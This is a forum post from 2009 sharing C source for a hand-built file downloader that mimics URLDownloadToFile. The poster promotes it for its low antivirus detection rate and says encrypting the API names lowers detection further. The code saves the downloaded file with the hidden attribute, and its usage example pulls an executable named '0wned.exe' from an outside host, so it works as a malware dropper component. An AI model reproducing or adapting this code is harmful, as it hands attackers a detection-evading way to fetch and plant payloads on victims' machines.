Gonzalez Posted September 7, 2009 Report Posted September 7, 2009 URLDownloadToFile------------------------Here is source to URLDownloadToFile written manually, function by function. 3/24 detections, if you crypt all API's it will be 1/24.typedef PVOID HINTERNET ; typedef HINTERNET (WINAPI *InetOpenA)(LPCTSTR , char* ,char*,char* ,char* ); //InterNetOpenAtypedef HINTERNET (WINAPI *InetOpenUrlA) (HINTERNET, LPCSTR, char* ,char* ,char* ,char* ); //InternetOpenUrlAtypedef BOOL (WINAPI *InetReadFile) (HINTERNET, LPVOID , DWORD , LPDWORD); //InternetReadFileAtypedef HANDLE (WINAPI *CreatFile) (LPCTSTR,int,int,int,int,int,int); //CreateFileAtypedef BOOL (WINAPI *WritFile) (HANDLE,LPCVOID,int,LPDWORD,int); //WriteFileAbool D_File(char* FromHere){ HINTERNET InternetHandle; HINTERNET UrlHandle; HANDLE FileHandle; unsigned long BytesNext = 1; unsigned long BytesWritten = 0; char Buffer[2048];char *SaveFile = "X:\\File.ext"; //File Destination// Opening page, with File Save Destination InternetHandle = InternetOpen(SaveFile, 0, 0, 0, 0); if(InternetHandle != 0) { UrlHandle = InternetOpenUrl(InternetHandle, FromHere, 0, 0, 0, 0); //Connectin to your File FileHandle = CreateFile(SaveFile, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, 0); //Creating File to spec. Destination, with File Attributes. while(BytesNext != 0) { InternetReadFile(UrlHandle, Buffer, sizeof(Buffer), &BytesNext); WriteFile(FileHandle, Buffer, BytesNext, &BytesWritten, 0); //Writing bytes to File } CloseHandle(FileHandle); CloseHandle(UrlHandle); CloseHandle(InternetHandle); } return false;}//Usage::int main() { D_File("http://detectionzer0.com/0wned.exe"); //Your URL Herereturn 0;} Quote